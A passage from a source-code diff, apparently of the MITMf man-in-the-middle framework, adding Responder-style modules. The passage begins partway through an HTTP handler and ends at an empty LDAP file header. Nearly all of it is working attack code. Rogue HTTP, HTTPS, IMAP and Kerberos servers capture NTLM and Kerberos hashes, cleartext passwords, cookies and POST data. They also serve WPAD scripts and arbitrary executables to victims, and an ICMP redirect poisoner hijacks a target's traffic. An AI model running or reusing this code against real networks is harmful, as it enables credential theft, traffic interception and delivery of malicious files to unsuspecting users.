||||
responder_logger.info('[+]HTTP NTLMv1 hash captured from :%s'%(client))
|
||||
responder_logger.info('[+]HTTP NTLMv1 Hostname is :%s'%(Hostname))
|
||||
responder_logger.info('[+]HTTP NTLMv1 User is :%s'%(data[UserOffset:UserOffset+UserLen].replace('\x00','')))
|
||||
responder_logger.info('[+]HTTP NTLMv1 Complete hash is :%s'%(WriteHash))
|
||||
|
||||
if NthashLen > 24:
|
||||
NthashLen = 64
|
||||
DomainLen = struct.unpack('<H',data[28:30])[0]
|
||||
DomainOffset = struct.unpack('<H',data[32:34])[0]
|
||||
Domain = data[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
|
||||
UserLen = struct.unpack('<H',data[36:38])[0]
|
||||
UserOffset = struct.unpack('<H',data[40:42])[0]
|
||||
User = data[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
HostNameLen = struct.unpack('<H',data[44:46])[0]
|
||||
HostNameOffset = struct.unpack('<H',data[48:50])[0]
|
||||
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
|
||||
outfile = "./logs/responder/HTTP-NTLMv2-Client-"+client+".txt"
|
||||
WriteHash = User+"::"+Domain+":"+NumChal+":"+NTHash[:32]+":"+NTHash[32:]
|
||||
WriteData(outfile,WriteHash, User+"::"+Domain)
|
||||
responder_logger.info('[+]HTTP NTLMv2 hash captured from :%s'%(client))
|
||||
responder_logger.info('[+]HTTP NTLMv2 User is : %s'%(User))
|
||||
responder_logger.info('[+]HTTP NTLMv2 Domain is :%s'%(Domain))
|
||||
responder_logger.info('[+]HTTP NTLMv2 Hostname is :%s'%(HostName))
|
||||
responder_logger.info('[+]HTTP NTLMv2 Complete hash is :%s'%(WriteHash))
|
||||
|
||||
def GrabCookie(data,host):
|
||||
Cookie = re.search('(Cookie:*.\=*)[^\r\n]*', data)
|
||||
if Cookie:
|
||||
CookieStr = "[+]HTTP Cookie Header sent from: %s The Cookie is: \n%s"%(host,Cookie.group(0))
|
||||
responder_logger.info(CookieStr)
|
||||
return Cookie.group(0)
|
||||
else:
|
||||
NoCookies = "No cookies were sent with this request"
|
||||
responder_logger.info(NoCookies)
|
||||
return NoCookies
|
||||
|
||||
def WpadCustom(data,client):
|
||||
Wpad = re.search('(/wpad.dat|/*\.pac)', data)
|
||||
if Wpad:
|
||||
buffer1 = WPADScript(Payload=WPAD_Script)
|
||||
buffer1.calculate()
|
||||
return str(buffer1)
|
||||
else:
|
||||
return False
|
||||
|
||||
def WpadForcedAuth(Force_WPAD_Auth):
|
||||
if Force_WPAD_Auth == True:
|
||||
return True
|
||||
if Force_WPAD_Auth == False:
|
||||
return False
|
||||
|
||||
# Function used to check if we answer with a Basic or NTLM auth.
|
||||
def Basic_Ntlm(Basic):
|
||||
if Basic == True:
|
||||
return IIS_Basic_401_Ans()
|
||||
else:
|
||||
return IIS_Auth_401_Ans()
|
||||
|
||||
def ServeEXE(data,client, Filename):
|
||||
Message = "[+]Sent %s file sent to: %s."%(Filename,client)
|
||||
responder_logger.info(Message)
|
||||
with open (Filename, "rb") as bk:
|
||||
data = bk.read()
|
||||
bk.close()
|
||||
return data
|
||||
|
||||
def ServeEXEOrNot(on_off):
|
||||
if Exe_On_Off == "ON":
|
||||
return True
|
||||
if Exe_On_Off == "OFF":
|
||||
return False
|
||||
|
||||
def ServeEXECAlwaysOrNot(on_off):
|
||||
if Exec_Mode_On_Off == "ON":
|
||||
return True
|
||||
if Exec_Mode_On_Off == "OFF":
|
||||
return False
|
||||
|
||||
def IsExecutable(Filename):
|
||||
exe = re.findall('.exe',Filename)
|
||||
if exe:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def GrabURL(data, host):
|
||||
GET = re.findall('(?<=GET )[^HTTP]*', data)
|
||||
POST = re.findall('(?<=POST )[^HTTP]*', data)
|
||||
POSTDATA = re.findall('(?<=\r\n\r\n)[^*]*', data)
|
||||
if GET:
|
||||
HostStr = "[+]HTTP GET request from : %s. The HTTP URL requested was: %s"%(host, ''.join(GET))
|
||||
responder_logger.info(HostStr)
|
||||
#print HostStr
|
||||
|
||||
if POST:
|
||||
Host3Str = "[+]HTTP POST request from : %s. The HTTP URL requested was: %s"%(host,''.join(POST))
|
||||
responder_logger.info(Host3Str)
|
||||
#print Host3Str
|
||||
if len(''.join(POSTDATA)) >2:
|
||||
PostData = '[+]The HTTP POST DATA in this request was: %s'%(''.join(POSTDATA).strip())
|
||||
#print PostData
|
||||
responder_logger.info(PostData)
|
||||
|
||||
#Handle HTTP packet sequence.
|
||||
def PacketSequence(data,client):
|
||||
Ntlm = re.findall('(?<=Authorization: NTLM )[^\\r]*', data)
|
||||
BasicAuth = re.findall('(?<=Authorization: Basic )[^\\r]*', data)
|
||||
|
||||
if ServeEXEOrNot(Exe_On_Off) and re.findall('.exe', data):
|
||||
File = config.get('HTTP Server', 'ExecFilename')
|
||||
buffer1 = ServerExeFile(Payload = ServeEXE(data,client,File),filename=File)
|
||||
buffer1.calculate()
|
||||
return str(buffer1)
|
||||
|
||||
if ServeEXECAlwaysOrNot(Exec_Mode_On_Off):
|
||||
if IsExecutable(FILENAME):
|
||||
buffer1 = ServeAlwaysExeFile(Payload = ServeEXE(data,client,FILENAME),ContentDiFile=FILENAME)
|
||||
buffer1.calculate()
|
||||
return str(buffer1)
|
||||
else:
|
||||
buffer1 = ServeAlwaysNormalFile(Payload = ServeEXE(data,client,FILENAME))
|
||||
buffer1.calculate()
|
||||
return str(buffer1)
|
||||
|
||||
if Ntlm:
|
||||
packetNtlm = b64decode(''.join(Ntlm))[8:9]
|
||||
if packetNtlm == "\x01":
|
||||
GrabURL(data,client)
|
||||
GrabCookie(data,client)
|
||||
r = NTLM_Challenge(ServerChallenge=Challenge)
|
||||
r.calculate()
|
||||
t = IIS_NTLM_Challenge_Ans()
|
||||
t.calculate(str(r))
|
||||
buffer1 = str(t)
|
||||
return buffer1
|
||||
if packetNtlm == "\x03":
|
||||
NTLM_Auth= b64decode(''.join(Ntlm))
|
||||
ParseHTTPHash(NTLM_Auth,client)
|
||||
if WpadForcedAuth(Force_WPAD_Auth) and WpadCustom(data,client):
|
||||
Message = "[+]WPAD (auth) file sent to: %s"%(client)
|
||||
if Verbose:
|
||||
print Message
|
||||
responder_logger.info(Message)
|
||||
buffer1 = WpadCustom(data,client)
|
||||
return buffer1
|
||||
else:
|
||||
buffer1 = IIS_Auth_Granted(Payload=HTMLToServe)
|
||||
buffer1.calculate()
|
||||
return str(buffer1)
|
||||
|
||||
if BasicAuth:
|
||||
GrabCookie(data,client)
|
||||
GrabURL(data,client)
|
||||
outfile = "./logs/responder/HTTP-Clear-Text-Password-"+client+".txt"
|
||||
WriteData(outfile,b64decode(''.join(BasicAuth)), b64decode(''.join(BasicAuth)))
|
||||
responder_logger.info('[+]HTTP-User & Password: %s'%(b64decode(''.join(BasicAuth))))
|
||||
if WpadForcedAuth(Force_WPAD_Auth) and WpadCustom(data,client):
|
||||
Message = "[+]WPAD (auth) file sent to: %s"%(client)
|
||||
if Verbose:
|
||||
print Message
|
||||
responder_logger.info(Message)
|
||||
buffer1 = WpadCustom(data,client)
|
||||
return buffer1
|
||||
else:
|
||||
buffer1 = IIS_Auth_Granted(Payload=HTMLToServe)
|
||||
buffer1.calculate()
|
||||
return str(buffer1)
|
||||
|
||||
else:
|
||||
return str(Basic_Ntlm(Basic))
|
||||
|
||||
#HTTP Server Class
|
||||
class HTTP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
while True:
|
||||
self.request.settimeout(1)
|
||||
data = self.request.recv(8092)
|
||||
buff = WpadCustom(data,self.client_address[0])
|
||||
if buff and WpadForcedAuth(Force_WPAD_Auth) == False:
|
||||
Message = "[+]WPAD (no auth) file sent to: %s"%(self.client_address[0])
|
||||
if Verbose:
|
||||
print Message
|
||||
responder_logger.info(Message)
|
||||
self.request.send(buff)
|
||||
else:
|
||||
buffer0 = PacketSequence(data,self.client_address[0])
|
||||
self.request.send(buffer0)
|
||||
except Exception:
|
||||
pass#No need to be verbose..
|
||||
|
145
core/protocols/http/HTTPSProxy.py
Normal file
145
core/protocols/http/HTTPSProxy.py
Normal file
|
@ -0,0 +1,145 @@
|
|||
##################################################################################
|
||||
#HTTPS Server stuff starts here (Not Used)
|
||||
##################################################################################
|
||||
|
||||
class HTTPSProxy():
|
||||
|
||||
def serve_thread_SSL(host, port, handler):
|
||||
try:
|
||||
server = SSlSock((host, port), handler)
|
||||
server.serve_forever()
|
||||
except Exception, e:
|
||||
print "Error starting TCP server on port %s: %s:" % (str(port),str(e))
|
||||
|
||||
#Function name self-explanatory
|
||||
def start(SSL_On_Off):
|
||||
if SSL_On_Off == "ON":
|
||||
t = threading.Thread(name="SSL", target=self.serve_thread_SSL, args=("0.0.0.0", 443,DoSSL))
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
return t
|
||||
if SSL_On_Off == "OFF":
|
||||
return False
|
||||
|
||||
class SSlSock(ThreadingMixIn, TCPServer):
|
||||
def __init__(self, server_address, RequestHandlerClass):
|
||||
BaseServer.__init__(self, server_address, RequestHandlerClass)
|
||||
ctx = SSL.Context(SSL.SSLv3_METHOD)
|
||||
ctx.use_privatekey_file(SSLkey)
|
||||
ctx.use_certificate_file(SSLcert)
|
||||
self.socket = SSL.Connection(ctx, socket.socket(self.address_family, self.socket_type))
|
||||
self.server_bind()
|
||||
self.server_activate()
|
||||
|
||||
def shutdown_request(self,request):
|
||||
try:
|
||||
request.shutdown()
|
||||
except:
|
||||
pass
|
||||
|
||||
class DoSSL(StreamRequestHandler):
|
||||
def setup(self):
|
||||
self.exchange = self.request
|
||||
self.rfile = socket._fileobject(self.request, "rb", self.rbufsize)
|
||||
self.wfile = socket._fileobject(self.request, "wb", self.wbufsize)
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
while True:
|
||||
data = self.exchange.recv(8092)
|
||||
self.exchange.settimeout(0.5)
|
||||
buff = WpadCustom(data,self.client_address[0])
|
||||
if buff:
|
||||
self.exchange.send(buff)
|
||||
else:
|
||||
buffer0 = HTTPSPacketSequence(data,self.client_address[0])
|
||||
self.exchange.send(buffer0)
|
||||
except:
|
||||
pass
|
||||
|
||||
#Parse NTLMv1/v2 hash.
|
||||
def ParseHTTPSHash(data,client):
|
||||
LMhashLen = struct.unpack('<H',data[12:14])[0]
|
||||
LMhashOffset = struct.unpack('<H',data[16:18])[0]
|
||||
LMHash = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
||||
NthashLen = struct.unpack('<H',data[20:22])[0]
|
||||
NthashOffset = struct.unpack('<H',data[24:26])[0]
|
||||
NTHash = data[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
if NthashLen == 24:
|
||||
#print "[+]HTTPS NTLMv1 hash captured from :",client
|
||||
responder_logger.info('[+]HTTPS NTLMv1 hash captured from :%s'%(client))
|
||||
NtHash = data[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
HostNameLen = struct.unpack('<H',data[46:48])[0]
|
||||
HostNameOffset = struct.unpack('<H',data[48:50])[0]
|
||||
Hostname = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
|
||||
#print "Hostname is :", Hostname
|
||||
responder_logger.info('[+]HTTPS NTLMv1 Hostname is :%s'%(Hostname))
|
||||
UserLen = struct.unpack('<H',data[36:38])[0]
|
||||
UserOffset = struct.unpack('<H',data[40:42])[0]
|
||||
User = data[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
#print "User is :", data[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
responder_logger.info('[+]HTTPS NTLMv1 User is :%s'%(data[UserOffset:UserOffset+UserLen].replace('\x00','')))
|
||||
outfile = "./logs/responder/HTTPS-NTLMv1-Client-"+client+".txt"
|
||||
WriteHash = User+"::"+Hostname+":"+LMHash+":"+NtHash+":"+NumChal
|
||||
WriteData(outfile,WriteHash, User+"::"+Hostname)
|
||||
#print "Complete hash is : ", WriteHash
|
||||
responder_logger.info('[+]HTTPS NTLMv1 Complete hash is :%s'%(WriteHash))
|
||||
if NthashLen > 24:
|
||||
#print "[+]HTTPS NTLMv2 hash captured from :",client
|
||||
responder_logger.info('[+]HTTPS NTLMv2 hash captured from :%s'%(client))
|
||||
NthashLen = 64
|
||||
DomainLen = struct.unpack('<H',data[28:30])[0]
|
||||
DomainOffset = struct.unpack('<H',data[32:34])[0]
|
||||
Domain = data[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
|
||||
#print "Domain is : ", Domain
|
||||
responder_logger.info('[+]HTTPS NTLMv2 Domain is :%s'%(Domain))
|
||||
UserLen = struct.unpack('<H',data[36:38])[0]
|
||||
UserOffset = struct.unpack('<H',data[40:42])[0]
|
||||
User = data[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
#print "User is :", User
|
||||
responder_logger.info('[+]HTTPS NTLMv2 User is : %s'%(User))
|
||||
HostNameLen = struct.unpack('<H',data[44:46])[0]
|
||||
HostNameOffset = struct.unpack('<H',data[48:50])[0]
|
||||
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
|
||||
#print "Hostname is :", HostName
|
||||
responder_logger.info('[+]HTTPS NTLMv2 Hostname is :%s'%(HostName))
|
||||
outfile = "./logs/responder/HTTPS-NTLMv2-Client-"+client+".txt"
|
||||
WriteHash = User+"::"+Domain+":"+NumChal+":"+NTHash[:32]+":"+NTHash[32:]
|
||||
WriteData(outfile,WriteHash, User+"::"+Domain)
|
||||
#print "Complete hash is : ", WriteHash
|
||||
responder_logger.info('[+]HTTPS NTLMv2 Complete hash is :%s'%(WriteHash))
|
||||
|
||||
#Handle HTTPS packet sequence.
|
||||
def HTTPSPacketSequence(data,client):
|
||||
a = re.findall('(?<=Authorization: NTLM )[^\\r]*', data)
|
||||
b = re.findall('(?<=Authorization: Basic )[^\\r]*', data)
|
||||
if a:
|
||||
packetNtlm = b64decode(''.join(a))[8:9]
|
||||
if packetNtlm == "\x01":
|
||||
GrabCookie(data,client)
|
||||
r = NTLM_Challenge(ServerChallenge=Challenge)
|
||||
r.calculate()
|
||||
t = IIS_NTLM_Challenge_Ans()
|
||||
t.calculate(str(r))
|
||||
buffer1 = str(t)
|
||||
return buffer1
|
||||
if packetNtlm == "\x03":
|
||||
NTLM_Auth= b64decode(''.join(a))
|
||||
ParseHTTPSHash(NTLM_Auth,client)
|
||||
buffer1 = str(IIS_Auth_Granted(Payload=HTMLToServe))
|
||||
return buffer1
|
||||
if b:
|
||||
GrabCookie(data,client)
|
||||
outfile = "./logs/responder/HTTPS-Clear-Text-Password-"+client+".txt"
|
||||
WriteData(outfile,b64decode(''.join(b)), b64decode(''.join(b)))
|
||||
#print "[+]HTTPS-User & Password:", b64decode(''.join(b))
|
||||
responder_logger.info('[+]HTTPS-User & Password: %s'%(b64decode(''.join(b))))
|
||||
buffer1 = str(IIS_Auth_Granted(Payload=HTMLToServe))
|
||||
return buffer1
|
||||
|
||||
else:
|
||||
return str(Basic_Ntlm(Basic))
|
||||
|
||||
##################################################################################
|
||||
#HTTPS Server stuff ends here (Not Used)
|
||||
##################################################################################
|
0
core/protocols/http/__init__.py
Normal file
0
core/protocols/http/__init__.py
Normal file
68
core/protocols/icmp/ICMPpoisoner.py
Normal file
68
core/protocols/icmp/ICMPpoisoner.py
Normal file
|
@ -0,0 +1,68 @@
|
|||
#!/usr/bin/env python2.7
|
||||
|
||||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
|
||||
import logging
|
||||
import threading
|
||||
import binascii
|
||||
import random
|
||||
#import dns.resolver
|
||||
|
||||
from base64 import b64decode
|
||||
from urllib import unquote
|
||||
from time import sleep
|
||||
#from netfilterqueue import NetfilterQueue
|
||||
|
||||
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
|
||||
from scapy.all import *
|
||||
|
||||
mitmf_logger = logging.getLogger('mitmf')
|
||||
|
||||
class ICMPpoisoner():
|
||||
|
||||
def __init__(self, interface, target, gateway, ip_address):
|
||||
|
||||
self.target = target
|
||||
self.gateway = gateway
|
||||
self.interface = interface
|
||||
self.ip_address = ip_address
|
||||
self.debug = False
|
||||
self.send = True
|
||||
self.icmp_interval = 2
|
||||
|
||||
def build_icmp(self):
|
||||
pkt = IP(src=self.gateway, dst=self.target)/ICMP(type=5, code=1, gw=self.ip_address) /\
|
||||
IP(src=self.target, dst=self.gateway)/UDP()
|
||||
|
||||
return pkt
|
||||
|
||||
def start(self):
|
||||
pkt = self.build_icmp()
|
||||
|
||||
t = threading.Thread(name='icmp_spoof', target=self.send_icmps, args=(pkt, self.interface, self.debug,))
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
def stop(self):
|
||||
self.send = False
|
||||
sleep(3)
|
||||
|
||||
def send_icmps(self, pkt, interface, debug):
|
||||
while self.send:
|
||||
sendp(pkt, inter=self.icmp_interval, iface=interface, verbose=debug)
|
0
core/protocols/icmp/__init__.py
Normal file
0
core/protocols/icmp/__init__.py
Normal file
55
core/protocols/imap/IMAPPackets.py
Normal file
55
core/protocols/imap/IMAPPackets.py
Normal file
|
@ -0,0 +1,55 @@
|
|||
#! /usr/bin/env python
|
||||
# NBT-NS/LLMNR Responder
|
||||
# Created by Laurent Gaffie
|
||||
# Copyright (C) 2014 Trustwave Holdings, Inc.
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import struct
|
||||
from odict import OrderedDict
|
||||
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
("data", ""),
|
||||
])
|
||||
def __init__(self, **kw):
|
||||
self.fields = OrderedDict(self.__class__.fields)
|
||||
for k,v in kw.items():
|
||||
if callable(v):
|
||||
self.fields[k] = v(self.fields[k])
|
||||
else:
|
||||
self.fields[k] = v
|
||||
def __str__(self):
|
||||
return "".join(map(str, self.fields.values()))
|
||||
|
||||
#IMAP4 Greating class
|
||||
class IMAPGreating(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "* OK IMAP4 service is ready."),
|
||||
("CRLF", "\r\n"),
|
||||
])
|
||||
|
||||
#IMAP4 Capability class
|
||||
class IMAPCapability(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "* CAPABILITY IMAP4 IMAP4rev1 AUTH=PLAIN"),
|
||||
("CRLF", "\r\n"),
|
||||
])
|
||||
|
||||
#IMAP4 Capability class
|
||||
class IMAPCapabilityEnd(Packet):
|
||||
fields = OrderedDict([
|
||||
("Tag", ""),
|
||||
("Message", " OK CAPABILITY completed."),
|
||||
("CRLF", "\r\n"),
|
||||
])
|
58
core/protocols/imap/IMAPServer.py
Normal file
58
core/protocols/imap/IMAPServer.py
Normal file
|
@ -0,0 +1,58 @@
|
|||
##################################################################################
|
||||
#IMAP4 Stuff starts here
|
||||
##################################################################################
|
||||
|
||||
|
||||
class IMAPServer():
|
||||
|
||||
def serve_thread_tcp(host, port, handler):
|
||||
try:
|
||||
server = ThreadingTCPServer((host, port), handler)
|
||||
server.serve_forever()
|
||||
except Exception, e:
|
||||
print "Error starting TCP server on port %s: %s:" % (str(port),str(e))
|
||||
|
||||
#Function name self-explanatory
|
||||
def start(IMAP_On_Off):
|
||||
if IMAP_On_Off == "ON":
|
||||
t = threading.Thread(name="IMAP", target=self.serve_thread_tcp, args=("0.0.0.0", 143,IMAP))
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
if IMAP_On_Off == "OFF":
|
||||
return False
|
||||
|
||||
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
|
||||
allow_reuse_address = 1
|
||||
|
||||
def server_bind(self):
|
||||
TCPServer.server_bind(self)
|
||||
|
||||
#ESMTP server class.
|
||||
class IMAP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
self.request.send(str(IMAPGreating()))
|
||||
data = self.request.recv(1024)
|
||||
if data[5:15] == "CAPABILITY":
|
||||
RequestTag = data[0:4]
|
||||
self.request.send(str(IMAPCapability()))
|
||||
self.request.send(str(IMAPCapabilityEnd(Tag=RequestTag)))
|
||||
data = self.request.recv(1024)
|
||||
if data[5:10] == "LOGIN":
|
||||
Credentials = data[10:].strip()
|
||||
Outfile = "./logs/responder/IMAP-Clear-Text-Password-"+self.client_address[0]+".txt"
|
||||
WriteData(Outfile,Credentials, Credentials)
|
||||
#print '[+]IMAP Credentials from %s. ("User" "Pass"): %s'%(self.client_address[0],Credentials)
|
||||
responder_logger.info('[+]IMAP Credentials from %s. ("User" "Pass"): %s'%(self.client_address[0],Credentials))
|
||||
self.request.send(str(ditchthisconnection()))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
##################################################################################
|
||||
#IMAP4 Stuff ends here
|
||||
##################################################################################
|
0
core/protocols/imap/__init__.py
Normal file
0
core/protocols/imap/__init__.py
Normal file
163
core/protocols/kerberos/KERBServer.py
Normal file
163
core/protocols/kerberos/KERBServer.py
Normal file
|
@ -0,0 +1,163 @@
|
|||
##################################################################################
|
||||
#Kerberos Server stuff starts here
|
||||
##################################################################################
|
||||
|
||||
class KERBServer():
|
||||
|
||||
def serve_thread_udp(host, port, handler):
|
||||
try:
|
||||
server = ThreadingUDPServer((host, port), handler)
|
||||
server.serve_forever()
|
||||
except Exception, e:
|
||||
print "Error starting UDP server on port %s: %s:" % (str(port),str(e))
|
||||
|
||||
def serve_thread_tcp(host, port, handler):
|
||||
try:
|
||||
server = ThreadingTCPServer((host, port), handler)
|
||||
server.serve_forever()
|
||||
except Exception, e:
|
||||
print "Error starting TCP server on port %s: %s:" % (str(port),str(e))
|
||||
|
||||
#Function name self-explanatory
|
||||
def start(Krb_On_Off):
|
||||
if Krb_On_Off == "ON":
|
||||
t1 = threading.Thread(name="KerbUDP", target=serve_thread_udp, args=("0.0.0.0", 88,KerbUDP))
|
||||
t2 = threading.Thread(name="KerbTCP", target=serve_thread_tcp, args=("0.0.0.0", 88, KerbTCP))
|
||||
for t in [t1,t2]:
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
return t1, t2
|
||||
if Krb_On_Off == "OFF":
|
||||
return False
|
||||
|
||||
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
|
||||
|
||||
allow_reuse_address = 1
|
||||
|
||||
def server_bind(self):
|
||||
UDPServer.server_bind(self)
|
||||
|
||||
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
|
||||
allow_reuse_address = 1
|
||||
|
||||
def server_bind(self):
|
||||
TCPServer.server_bind(self)
|
||||
|
||||
def ParseMSKerbv5TCP(Data):
|
||||
MsgType = Data[21:22]
|
||||
EncType = Data[43:44]
|
||||
MessageType = Data[32:33]
|
||||
if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02":
|
||||
if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33":
|
||||
HashLen = struct.unpack('<b',Data[50:51])[0]
|
||||
if HashLen == 54:
|
||||
Hash = Data[53:105]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[153:154])[0]
|
||||
Name = Data[154:154+NameLen]
|
||||
DomainLen = struct.unpack('<b',Data[154+NameLen+3:154+NameLen+4])[0]
|
||||
Domain = Data[154+NameLen+4:154+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
if Data[44:48] == "\xa2\x36\x04\x34" or Data[44:48] == "\xa2\x35\x04\x33":
|
||||
HashLen = struct.unpack('<b',Data[45:46])[0]
|
||||
if HashLen == 53:
|
||||
Hash = Data[48:99]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[147:148])[0]
|
||||
Name = Data[148:148+NameLen]
|
||||
DomainLen = struct.unpack('<b',Data[148+NameLen+3:148+NameLen+4])[0]
|
||||
Domain = Data[148+NameLen+4:148+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
if HashLen == 54:
|
||||
Hash = Data[53:105]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[148:149])[0]
|
||||
Name = Data[149:149+NameLen]
|
||||
DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
|
||||
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
|
||||
else:
|
||||
Hash = Data[48:100]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[148:149])[0]
|
||||
Name = Data[149:149+NameLen]
|
||||
DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
|
||||
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
else:
|
||||
return False
|
||||
|
||||
def ParseMSKerbv5UDP(Data):
|
||||
MsgType = Data[17:18]
|
||||
EncType = Data[39:40]
|
||||
if MsgType == "\x0a" and EncType == "\x17":
|
||||
if Data[40:44] == "\xa2\x36\x04\x34" or Data[40:44] == "\xa2\x35\x04\x33":
|
||||
HashLen = struct.unpack('<b',Data[41:42])[0]
|
||||
if HashLen == 54:
|
||||
Hash = Data[44:96]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[144:145])[0]
|
||||
Name = Data[145:145+NameLen]
|
||||
DomainLen = struct.unpack('<b',Data[145+NameLen+3:145+NameLen+4])[0]
|
||||
Domain = Data[145+NameLen+4:145+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
if HashLen == 53:
|
||||
Hash = Data[44:95]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[143:144])[0]
|
||||
Name = Data[144:144+NameLen]
|
||||
DomainLen = struct.unpack('<b',Data[144+NameLen+3:144+NameLen+4])[0]
|
||||
Domain = Data[144+NameLen+4:144+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
|
||||
|
||||
else:
|
||||
Hash = Data[49:101]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[149:150])[0]
|
||||
Name = Data[150:150+NameLen]
|
||||
DomainLen = struct.unpack('<b',Data[150+NameLen+3:150+NameLen+4])[0]
|
||||
Domain = Data[150+NameLen+4:150+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
else:
|
||||
return False
|
||||
|
||||
class KerbTCP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
data = self.request.recv(1024)
|
||||
KerbHash = ParseMSKerbv5TCP(data)
|
||||
if KerbHash:
|
||||
Outfile = "./logs/responder/MSKerberos-Client-"+self.client_address[0]+".txt"
|
||||
WriteData(Outfile,KerbHash, KerbHash)
|
||||
responder_logger.info('[+]MSKerbv5 complete hash is :%s'%(KerbHash))
|
||||
except Exception:
|
||||
raise
|
||||
|
||||
class KerbUDP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
data, soc = self.request
|
||||
KerbHash = ParseMSKerbv5UDP(data)
|
||||
if KerbHash:
|
||||
Outfile = "./logs/responder/MSKerberos-Client-"+self.client_address[0]+".txt"
|
||||
WriteData(Outfile,KerbHash, KerbHash)
|
||||
responder_logger.info('[+]MSKerbv5 complete hash is :%s'%(KerbHash))
|
||||
except Exception:
|
||||
raise
|
||||
|
||||
##################################################################################
|
||||
#Kerberos Server stuff ends here
|
||||
##################################################################################
|
0
core/protocols/kerberos/__init__.py
Normal file
0
core/protocols/kerberos/__init__.py
Normal file
238
core/protocols/ldap/LDAPPackets.py
Normal file
238
core/protocols/ldap/LDAPPackets.py
Normal file
|
@ -0,0 +1,238 @@
|
|||
